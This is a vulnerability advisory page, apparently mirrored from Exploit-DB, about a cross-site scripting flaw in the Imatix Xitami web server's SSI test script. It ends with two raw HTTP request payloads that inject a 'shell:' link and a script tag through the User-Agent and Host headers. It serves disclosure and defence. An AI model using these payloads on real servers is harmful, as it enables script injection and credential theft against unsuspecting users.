Imatix Xitami Cross-Site Scripting Vulnerability

vendor:

Xitami

by:

5.5

CVSS

MEDIUM

Cross-Site Scripting (XSS)

CWE

Product Name: Xitami

Affected Version From:

Affected Version To:

Patch Exists: NO

Related CWE:

CPE:

Metasploit:

Other Scripts:

Platforms Tested:

Imatix Xitami Cross-Site Scripting Vulnerability

Imatix Xitami is affected by a cross-site scripting vulnerability in the server side includes test script. This issue is due to a failure of the application to properly sanitize user-supplied input.Successful exploitation of this issue will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user. This may potentially be exploited to hijack web content or steal cookie-based authentication credentials from legitimate users.

Mitigation:

To mitigate this vulnerability, the application should properly sanitize user-supplied input to prevent the execution of arbitrary script code.

Source

Exploit-DB raw data:

source: https://www.securityfocus.com/bid/10778/info

It is reported that Imatix Xitami is affected by a cross-site scripting vulnerability in the server side includes test script. This issue is due to a failure of the application to properly sanitize user-supplied input.

Successful exploitation of this issue will allow an attacker to execute arbitrary script code in the browser of an unsuspecting user. This may potentially be exploited to hijack web content or steal cookie-based authentication credentials from legitimate users.

Telnet (dont netcat!) to port 80:

GET /testssi.ssi HTTP/1.1
Host: localhost
User-Agent: <A HREF="shell:windows\system32\calc.exe">PLEASE CLICK HERE</A>
Connection: close

GET /testssi.ssi HTTP/1.1
Host: <script>alert("Please click at \"PLEASE CLICK HERE\"")</script>
User-Agent: <A HREF="shell:windows\system32\calc.exe">PLEASE CLICK HERE</A>
Connection: close